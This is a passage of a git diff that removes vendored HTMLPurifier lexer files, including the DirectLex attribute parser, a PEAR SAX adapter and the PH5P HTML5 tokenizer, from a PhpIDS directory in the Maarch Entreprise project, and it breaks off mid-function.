$context->get('ErrorCollector'); - } - - // let's see if we can abort as quickly as possible - // one equal sign, no spaces => one attribute - $num_equal = substr_count($string, '='); - $has_space = strpos($string, ' '); - if ($num_equal === 0 && !$has_space) { - // bool attribute - return array($string => $string); - } elseif ($num_equal === 1 && !$has_space) { - // only one attribute - list($key, $quoted_value) = explode('=', $string); - $quoted_value = trim($quoted_value); - if (!$key) { - if ($e) $e->send(E_ERROR, 'Lexer: Missing attribute key'); - return array(); - } - if (!$quoted_value) return array($key => ''); - $first_char = @$quoted_value[0]; - $last_char = @$quoted_value[strlen($quoted_value)-1]; - - $same_quote = ($first_char == $last_char); - $open_quote = ($first_char == '"' || $first_char == "'"); - - if ( $same_quote && $open_quote) { - // well behaved - $value = substr($quoted_value, 1, strlen($quoted_value) - 2); - } else { - // not well behaved - if ($open_quote) { - if ($e) $e->send(E_ERROR, 'Lexer: Missing end quote'); - $value = substr($quoted_value, 1); - } else { - $value = $quoted_value; - } - } - if ($value === false) $value = ''; - return array($key => $this->parseData($value)); - } - - // setup loop environment - $array = array(); // return assoc array of attributes - $cursor = 0; // current position in string (moves forward) - $size = strlen($string); // size of the string (stays the same) - - // if we have unquoted attributes, the parser expects a terminating - // space, so let's guarantee that there's always a terminating space. - $string .= ' '; - - while(true) { - - if ($cursor >= $size) { - break; - } - - $cursor += ($value = strspn($string, $this->_whitespace, $cursor)); - // grab the key - - $key_begin = $cursor; //we're currently at the start of the key - - // scroll past all characters that are the key (not whitespace or =) - $cursor += strcspn($string, $this->_whitespace . '=', $cursor); - - $key_end = $cursor; // now at the end of the key - - $key = substr($string, $key_begin, $key_end - $key_begin); - - if (!$key) { - if ($e) $e->send(E_ERROR, 'Lexer: Missing attribute key'); - $cursor += strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop - continue; // empty key - } - - // scroll past all whitespace - $cursor += strspn($string, $this->_whitespace, $cursor); - - if ($cursor >= $size) { - $array[$key] = $key; - break; - } - - // if the next character is an equal sign, we've got a regular - // pair, otherwise, it's a bool attribute - $first_char = @$string[$cursor]; - - if ($first_char == '=') { - // key="value" - - $cursor++; - $cursor += strspn($string, $this->_whitespace, $cursor); - - if ($cursor === false) { - $array[$key] = ''; - break; - } - - // we might be in front of a quote right now - - $char = @$string[$cursor]; - - if ($char == '"' || $char == "'") { - // it's quoted, end bound is $char - $cursor++; - $value_begin = $cursor; - $cursor = strpos($string, $char, $cursor); - $value_end = $cursor; - } else { - // it's not quoted, end bound is whitespace - $value_begin = $cursor; - $cursor += strcspn($string, $this->_whitespace, $cursor); - $value_end = $cursor; - } - - // we reached a premature end - if ($cursor === false) { - $cursor = $size; - $value_end = $cursor; - } - - $value = substr($string, $value_begin, $value_end - $value_begin); - if ($value === false) $value = ''; - $array[$key] = $this->parseData($value); - $cursor++; - - } else { - // boolattr - if ($key !== '') { - $array[$key] = $key; - } else { - // purely theoretical - if ($e) $e->send(E_ERROR, 'Lexer: Missing attribute key'); - } - - } - } - return $array; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PEARSax3.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PEARSax3.php deleted file mode 100755 index f9884734e088a6ff3f2ac3204ebc8467c4bc827f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PEARSax3.php +++ /dev/null @@ -1,139 +0,0 @@ -<?php - -/** - * Proof-of-concept lexer that uses the PEAR package XML_HTMLSax3 to parse HTML. - * - * PEAR, not suprisingly, also has a SAX parser for HTML. I don't know - * very much about implementation, but it's fairly well written. However, that - * abstraction comes at a price: performance. You need to have it installed, - * and if the API changes, it might break our adapter. Not sure whether or not - * it's UTF-8 aware, but it has some entity parsing trouble (in all areas, - * text and attributes). - * - * Quite personally, I don't recommend using the PEAR class, and the defaults - * don't use it. The unit tests do perform the tests on the SAX parser too, but - * whatever it does for poorly formed HTML is up to it. - * - * @todo Generalize so that XML_HTMLSax is also supported. - * - * @warning Entity-resolution inside attributes is broken. - */ - -class HTMLPurifier_Lexer_PEARSax3 extends HTMLPurifier_Lexer -{ - - /** - * Internal accumulator array for SAX parsers. - */ - protected $tokens = array(); - protected $last_token_was_empty; - - private $parent_handler; - private $stack = array(); - - public function tokenizeHTML($string, $config, $context) { - - $this->tokens = array(); - $this->last_token_was_empty = false; - - $string = $this->normalize($string, $config, $context); - - $this->parent_handler = set_error_handler(array($this, 'muteStrictErrorHandler')); - - $parser = new XML_HTMLSax3(); - $parser->set_object($this); - $parser->set_element_handler('openHandler','closeHandler'); - $parser->set_data_handler('dataHandler'); - $parser->set_escape_handler('escapeHandler'); - - // doesn't seem to work correctly for attributes - $parser->set_option('XML_OPTION_ENTITIES_PARSED', 1); - - $parser->parse($string); - - restore_error_handler(); - - return $this->tokens; - - } - - /** - * Open tag event handler, interface is defined by PEAR package. - */ - public function openHandler(&$parser, $name, $attrs, $closed) { - // entities are not resolved in attrs - foreach ($attrs as $key => $attr) { - $attrs[$key] = $this->parseData($attr); - } - if ($closed) { - $this->tokens[] = new HTMLPurifier_Token_Empty($name, $attrs); - $this->last_token_was_empty = true; - } else { - $this->tokens[] = new HTMLPurifier_Token_Start($name, $attrs); - } - $this->stack[] = $name; - return true; - } - - /** - * Close tag event handler, interface is defined by PEAR package. - */ - public function closeHandler(&$parser, $name) { - // HTMLSax3 seems to always send empty tags an extra close tag - // check and ignore if you see it: - // [TESTME] to make sure it doesn't overreach - if ($this->last_token_was_empty) { - $this->last_token_was_empty = false; - return true; - } - $this->tokens[] = new HTMLPurifier_Token_End($name); - if (!empty($this->stack)) array_pop($this->stack); - return true; - } - - /** - * Data event handler, interface is defined by PEAR package. - */ - public function dataHandler(&$parser, $data) { - $this->last_token_was_empty = false; - $this->tokens[] = new HTMLPurifier_Token_Text($data); - return true; - } - - /** - * Escaped text handler, interface is defined by PEAR package. - */ - public function escapeHandler(&$parser, $data) { - if (strpos($data, '--') === 0) { - // remove trailing and leading double-dashes - $data = substr($data, 2); - if (strlen($data) >= 2 && substr($data, -2) == "--") { - $data = substr($data, 0, -2); - } - if (isset($this->stack[sizeof($this->stack) - 1]) && - $this->stack[sizeof($this->stack) - 1] == "style") { - $this->tokens[] = new HTMLPurifier_Token_Text($data); - } else { - $this->tokens[] = new HTMLPurifier_Token_Comment($data); - } - $this->last_token_was_empty = false; - } - // CDATA is handled elsewhere, but if it was handled here: - //if (strpos($data, '[CDATA[') === 0) { - // $this->tokens[] = new HTMLPurifier_Token_Text( - // substr($data, 7, strlen($data) - 9) ); - //} - return true; - } - - /** - * An error handler that mutes strict errors - */ - public function muteStrictErrorHandler($errno, $errstr, $errfile=null, $errline=null, $errcontext=null) { - if ($errno == E_STRICT) return; - return call_user_func($this->parent_handler, $errno, $errstr, $errfile, $errline, $errcontext); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php deleted file mode 100755 index a43c56f9e01de2cb466680b08e4c07e1c3393953..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php +++ /dev/null @@ -1,3904 +0,0 @@ -<?php - -/** - * Experimental HTML5-based parser using Jeroen van der Meer's PH5P library. - * Occupies space in the HTML5 pseudo-namespace, which may cause conflicts. - * - * @note - * Recent changes to PHP's DOM extension have resulted in some fatal - * error conditions with the original version of PH5P. Pending changes, - * this lexer will punt to DirectLex if DOM throughs an exception. - */ - -class HTMLPurifier_Lexer_PH5P extends HTMLPurifier_Lexer_DOMLex { - - public function tokenizeHTML($html, $config, $context) { - $new_html = $this->normalize($html, $config, $context); - $new_html = $this->wrapHTML($new_html, $config, $context); - try { - $parser = new HTML5($new_html); - $doc = $parser->save(); - } catch (DOMException $e) { - // Uh oh, it failed. Punt to DirectLex. - $lexer = new HTMLPurifier_Lexer_DirectLex(); - $context->register('PH5PError', $e); // save the error, so we can detect it - return $lexer->tokenizeHTML($html, $config, $context); // use original HTML - } - $tokens = array(); - $this->tokenizeDOM( - $doc->getElementsByTagName('html')->item(0)-> // <html> - getElementsByTagName('body')->item(0)-> // <body> - getElementsByTagName('div')->item(0) // <div> - , $tokens); - return $tokens; - } - -} - -/* - -Copyright 2007 Jeroen van der Meer <http://jero.net/> - -Permission is hereby granted, free of charge, to any person obtaining a -copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, including -without limitation the rights to use, copy, modify, merge, publish, -distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to -the following conditions: - -The above copyright notice and this permission notice shall be included -in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS -OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. -IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY -CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, -TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE -SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -*/ - -class HTML5 { - private $data; - private $char; - private $EOF; - private $state; - private $tree; - private $token; - private $content_model; - private $escape = false; - private $entities = array('AElig;','AElig','AMP;','AMP','Aacute;','Aacute', - 'Acirc;','Acirc','Agrave;','Agrave','Alpha;','Aring;','Aring','Atilde;', - 'Atilde','Auml;','Auml','Beta;','COPY;','COPY','Ccedil;','Ccedil','Chi;', - 'Dagger;','Delta;','ETH;','ETH','Eacute;','Eacute','Ecirc;','Ecirc','Egrave;', - 'Egrave','Epsilon;','Eta;','Euml;','Euml','GT;','GT','Gamma;','Iacute;', - 'Iacute','Icirc;','Icirc','Igrave;','Igrave','Iota;','Iuml;','Iuml','Kappa;', - 'LT;','LT','Lambda;','Mu;','Ntilde;','Ntilde','Nu;','OElig;','Oacute;', - 'Oacute','Ocirc;','Ocirc','Ograve;','Ograve','Omega;','Omicron;','Oslash;', - 'Oslash','Otilde;','Otilde','Ouml;','Ouml','Phi;','Pi;','Prime;','Psi;', - 'QUOT;','QUOT','REG;','REG','Rho;','Scaron;','Sigma;','THORN;','THORN', - 'TRADE;','Tau;','Theta;','Uacute;','Uacute','Ucirc;','Ucirc','Ugrave;', - 'Ugrave','Upsilon;','Uuml;','Uuml','Xi;','Yacute;','Yacute','Yuml;','Zeta;', - 'aacute;','aacute','acirc;','acirc','acute;','acute','aelig;','aelig', - 'agrave;','agrave','alefsym;','alpha;','amp;','amp','and;','ang;','apos;', - 'aring;','aring','asymp;','atilde;','atilde','auml;','auml','bdquo;','beta;', - 'brvbar;','brvbar','bull;','cap;','ccedil;','ccedil','cedil;','cedil', - 'cent;','cent','chi;','circ;','clubs;','cong;','copy;','copy','crarr;', - 'cup;','curren;','curren','dArr;','dagger;','darr;','deg;','deg','delta;', - 'diams;','divide;','divide','eacute;','eacute','ecirc;','ecirc','egrave;', - 'egrave','empty;','emsp;','ensp;','epsilon;','equiv;','eta;','eth;','eth', - 'euml;','euml','euro;','exist;','fnof;','forall;','frac12;','frac12', - 'frac14;','frac14','frac34;','frac34','frasl;','gamma;','ge;','gt;','gt', - 'hArr;','harr;','hearts;','hellip;','iacute;','iacute','icirc;','icirc', - 'iexcl;','iexcl','igrave;','igrave','image;','infin;','int;','iota;', - 'iquest;','iquest','isin;','iuml;','iuml','kappa;','lArr;','lambda;','lang;', - 'laquo;','laquo','larr;','lceil;','ldquo;','le;','lfloor;','lowast;','loz;', - 'lrm;','lsaquo;','lsquo;','lt;','lt','macr;','macr','mdash;','micro;','micro', - 'middot;','middot','minus;','mu;','nabla;','nbsp;','nbsp','ndash;','ne;', - 'ni;','not;','not','notin;','nsub;','ntilde;','ntilde','nu;','oacute;', - 'oacute','ocirc;','ocirc','oelig;','ograve;','ograve','oline;','omega;', - 'omicron;','oplus;','or;','ordf;','ordf','ordm;','ordm','oslash;','oslash', - 'otilde;','otilde','otimes;','ouml;','ouml','para;','para','part;','permil;', - 'perp;','phi;','pi;','piv;','plusmn;','plusmn','pound;','pound','prime;', - 'prod;','prop;','psi;','quot;','quot','rArr;','radic;','rang;','raquo;', - 'raquo','rarr;','rceil;','rdquo;','real;','reg;','reg','rfloor;','rho;', - 'rlm;','rsaquo;','rsquo;','sbquo;','scaron;','sdot;','sect;','sect','shy;', - 'shy','sigma;','sigmaf;','sim;','spades;','sub;','sube;','sum;','sup1;', - 'sup1','sup2;','sup2','sup3;','sup3','sup;','supe;','szlig;','szlig','tau;', - 'there4;','theta;','thetasym;','thinsp;','thorn;','thorn','tilde;','times;', - 'times','trade;','uArr;','uacute;','uacute','uarr;','ucirc;','ucirc', - 'ugrave;','ugrave','uml;','uml','upsih;','upsilon;','uuml;','uuml','weierp;', - 'xi;','yacute;','yacute','yen;','yen','yuml;','yuml','zeta;','zwj;','zwnj;'); - - const PCDATA = 0; - const RCDATA = 1; - const CDATA = 2; - const PLAINTEXT = 3; - - const DOCTYPE = 0; - const STARTTAG = 1; - const ENDTAG = 2; - const COMMENT = 3; - const CHARACTR = 4; - const EOF = 5; - - public function __construct($data) { - - $this->data = $data; - $this->char = -1; - $this->EOF = strlen($data); - $this->tree = new HTML5TreeConstructer; - $this->content_model = self::PCDATA; - - $this->state = 'data'; - - while($this->state !== null) { - $this->{$this->state.'State'}(); - } - } - - public function save() { - return $this->tree->save(); - } - - private function char() { - return ($this->char < $this->EOF) - ? $this->data[$this->char] - : false; - } - - private function character($s, $l = 0) { - if($s + $l < $this->EOF) { - if($l === 0) { - return $this->data[$s]; - } else { - return substr($this->data, $s, $l); - } - } - } - - private function characters($char_class, $start) { - return preg_replace('#^(['.$char_class.']+).*#s', '\\1', substr($this->data, $start)); - } - - private function dataState() { - // Consume the next input character - $this->char++; - $char = $this->char(); - - if($char === '&' && ($this->content_model === self::PCDATA || $this->content_model === self::RCDATA)) { - /* U+0026 AMPERSAND (&) - When the content model flag is set to one of the PCDATA or RCDATA - states: switch to the entity data state. Otherwise: treat it as per - the "anything else" entry below. */ - $this->state = 'entityData'; - - } elseif($char === '-') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is false, and there are at - least three characters before this one in the input stream, and the - last four characters in the input stream, including this one, are - U+003C LESS-THAN SIGN, U+0021 EXCLAMATION MARK, U+002D HYPHEN-MINUS, - and U+002D HYPHEN-MINUS ("<!--"), then set the escape flag to true. */ - if(($this->content_model === self::RCDATA || $this->content_model === - self::CDATA) && $this->escape === false && - $this->char >= 3 && $this->character($this->char - 4, 4) === '<!--') { - $this->escape = true; - } - - /* In any case, emit the input character as a character token. Stay - in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - /* U+003C LESS-THAN SIGN (<) */ - } elseif($char === '<' && ($this->content_model === self::PCDATA || - (($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === false))) { - /* When the content model flag is set to the PCDATA state: switch - to the tag open state. - - When the content model flag is set to either the RCDATA state or - the CDATA state and the escape flag is false: switch to the tag - open state. - - Otherwise: treat it as per the "anything else" entry below. */ - $this->state = 'tagOpen'; - - /* U+003E GREATER-THAN SIGN (>) */ - } elseif($char === '>') { - /* If the content model flag is set to either the RCDATA state or - the CDATA state, and the escape flag is true, and the last three - characters in the input stream including this one are U+002D - HYPHEN-MINUS, U+002D HYPHEN-MINUS, U+003E GREATER-THAN SIGN ("-->"), - set the escape flag to false. */ - if(($this->content_model === self::RCDATA || - $this->content_model === self::CDATA) && $this->escape === true && - $this->character($this->char, 3) === '-->') { - $this->escape = false; - } - - /* In any case, emit the input character as a character token. - Stay in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - } elseif($this->char === $this->EOF) { - /* EOF - Emit an end-of-file token. */ - $this->EOF(); - - } elseif($this->content_model === self::PLAINTEXT) { - /* When the content model flag is set to the PLAINTEXT state - THIS DIFFERS GREATLY FROM THE SPEC: Get the remaining characters of - the text and emit it as a character token. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => substr($this->data, $this->char) - )); - - $this->EOF(); - - } else { - /* Anything else - THIS DIFFERS GREATLY FROM THE SPEC: Get as many character that - otherwise would also be treated as a character token and emit it - as a single character token. Stay in the data state. */ - $len = strcspn($this->data, '<&', $this->char); - $char = substr($this->data, $this->char, $len); - $this->char += $len - 1; - - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - $this->state = 'data'; - } - } - - private function entityDataState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, emit a U+0026 AMPERSAND character token. - // Otherwise, emit the character token that was returned. - $char = (!$entity) ? '&' : $entity; - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => $char - )); - - // Finally, switch to the data state. - $this->state = 'data'; - } - - private function tagOpenState() { - switch($this->content_model) { - case self::RCDATA: - case self::CDATA: - /* If the next input character is a U+002F SOLIDUS (/) character, - consume it and switch to the close tag open state. If the next - input character is not a U+002F SOLIDUS (/) character, emit a - U+003C LESS-THAN SIGN character token and switch to the data - state to process the next input character. */ - if($this->character($this->char + 1) === '/') { - $this->char++; - $this->state = 'closeTagOpen'; - - } else { - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->state = 'data'; - } - break; - - case self::PCDATA: - // If the content model flag is set to the PCDATA state - // Consume the next input character: - $this->char++; - $char = $this->char(); - - if($char === '!') { - /* U+0021 EXCLAMATION MARK (!) - Switch to the markup declaration open state. */ - $this->state = 'markupDeclarationOpen'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Switch to the close tag open state. */ - $this->state = 'closeTagOpen'; - - } elseif(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new start tag token, set its tag name to the lowercase - version of the input character (add 0x0020 to the character's code - point), then switch to the tag name state. (Don't emit the token - yet; further details will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::STARTTAG, - 'attr' => array() - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Emit a U+003C LESS-THAN SIGN character token and a - U+003E GREATER-THAN SIGN character token. Switch to the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<>' - )); - - $this->state = 'data'; - - } elseif($char === '?') { - /* U+003F QUESTION MARK (?) - Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - - } else { - /* Anything else - Parse error. Emit a U+003C LESS-THAN SIGN character token and - reconsume the current input character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '<' - )); - - $this->char--; - $this->state = 'data'; - } - break; - } - } - - private function closeTagOpenState() { - $next_node = strtolower($this->characters('A-Za-z', $this->char + 1)); - $the_same = count($this->tree->stack) > 0 && $next_node === end($this->tree->stack)->nodeName; - - if(($this->content_model === self::RCDATA || $this->content_model === self::CDATA) && - (!$the_same || ($the_same && (!preg_match('/[\t\n\x0b\x0c >\/]/', - $this->character($this->char + 1 + strlen($next_node))) || $this->EOF === $this->char)))) { - /* If the content model flag is set to the RCDATA or CDATA states then - examine the next few characters. If they do not match the tag name of - the last start tag token emitted (case insensitively), or if they do but - they are not immediately followed by one of the following characters: - * U+0009 CHARACTER TABULATION - * U+000A LINE FEED (LF) - * U+000B LINE TABULATION - * U+000C FORM FEED (FF) - * U+0020 SPACE - * U+003E GREATER-THAN SIGN (>) - * U+002F SOLIDUS (/) - * EOF - ...then there is a parse error. Emit a U+003C LESS-THAN SIGN character - token, a U+002F SOLIDUS character token, and switch to the data state - to process the next input character. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '</' - )); - - $this->state = 'data'; - - } else { - /* Otherwise, if the content model flag is set to the PCDATA state, - or if the next few characters do match that tag name, consume the - next input character: */ - $this->char++; - $char = $this->char(); - - if(preg_match('/^[A-Za-z]$/', $char)) { - /* U+0041 LATIN LETTER A through to U+005A LATIN LETTER Z - Create a new end tag token, set its tag name to the lowercase version - of the input character (add 0x0020 to the character's code point), then - switch to the tag name state. (Don't emit the token yet; further details - will be filled in before it is emitted.) */ - $this->token = array( - 'name' => strtolower($char), - 'type' => self::ENDTAG - ); - - $this->state = 'tagName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Parse error. Switch to the data state. */ - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit a U+003C LESS-THAN SIGN character token and a U+002F - SOLIDUS character token. Reconsume the EOF character in the data state. */ - $this->emitToken(array( - 'type' => self::CHARACTR, - 'data' => '</' - )); - - $this->char--; - $this->state = 'data'; - - } else { - /* Parse error. Switch to the bogus comment state. */ - $this->state = 'bogusComment'; - } - } - } - - private function tagNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } else { - /* Anything else - Append the current input character to the current tag token's tag name. - Stay in the tag name state. */ - $this->token['name'] .= strtolower($char); - $this->state = 'tagName'; - } - } - - private function beforeAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Stay in the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function attributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the before - attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's name. - Stay in the attribute name state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['name'] .= strtolower($char); - - $this->state = 'attributeName'; - } - } - - private function afterAttributeNameState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the after attribute name state. */ - $this->state = 'afterAttributeName'; - - } elseif($char === '=') { - /* U+003D EQUALS SIGN (=) - Switch to the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } elseif($char === '/' && $this->character($this->char + 1) !== '>') { - /* U+002F SOLIDUS (/) - Parse error unless this is a permitted slash. Switch to the - before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the EOF - character in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Start a new attribute in the current tag token. Set that attribute's - name to the current input character, and its value to the empty string. - Switch to the attribute name state. */ - $this->token['attr'][] = array( - 'name' => strtolower($char), - 'value' => null - ); - - $this->state = 'attributeName'; - } - } - - private function beforeAttributeValueState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Stay in the before attribute value state. */ - $this->state = 'beforeAttributeValue'; - - } elseif($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the attribute value (double-quoted) state. */ - $this->state = 'attributeValueDoubleQuoted'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the attribute value (unquoted) state and reconsume - this input character. */ - $this->char--; - $this->state = 'attributeValueUnquoted'; - - } elseif($char === '\'') { - /* U+0027 APOSTROPHE (') - Switch to the attribute value (single-quoted) state. */ - $this->state = 'attributeValueSingleQuoted'; - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Switch to the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function attributeValueDoubleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '"') { - /* U+0022 QUOTATION MARK (") - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('double'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (double-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueDoubleQuoted'; - } - } - - private function attributeValueSingleQuotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if($char === '\'') { - /* U+0022 QUOTATION MARK (') - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState('single'); - - } elseif($this->char === $this->EOF) { - /* EOF - Parse error. Emit the current tag token. Reconsume the character - in the data state. */ - $this->emitToken($this->token); - - $this->char--; - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (single-quoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueSingleQuoted'; - } - } - - private function attributeValueUnquotedState() { - // Consume the next input character: - $this->char++; - $char = $this->character($this->char); - - if(preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { - /* U+0009 CHARACTER TABULATION - U+000A LINE FEED (LF) - U+000B LINE TABULATION - U+000C FORM FEED (FF) - U+0020 SPACE - Switch to the before attribute name state. */ - $this->state = 'beforeAttributeName'; - - } elseif($char === '&') { - /* U+0026 AMPERSAND (&) - Switch to the entity in attribute value state. */ - $this->entityInAttributeValueState(); - - } elseif($char === '>') { - /* U+003E GREATER-THAN SIGN (>) - Emit the current tag token. Switch to the data state. */ - $this->emitToken($this->token); - $this->state = 'data'; - - } else { - /* Anything else - Append the current input character to the current attribute's value. - Stay in the attribute value (unquoted) state. */ - $last = count($this->token['attr']) - 1; - $this->token['attr'][$last]['value'] .= $char; - - $this->state = 'attributeValueUnquoted'; - } - } - - private function entityInAttributeValueState() { - // Attempt to consume an entity. - $entity = $this->entity(); - - // If nothing is returned, append a U+0026 AMPERSAND character to the - // current attribute's value. Otherwise, emit the character token that - // was returned. - $char = 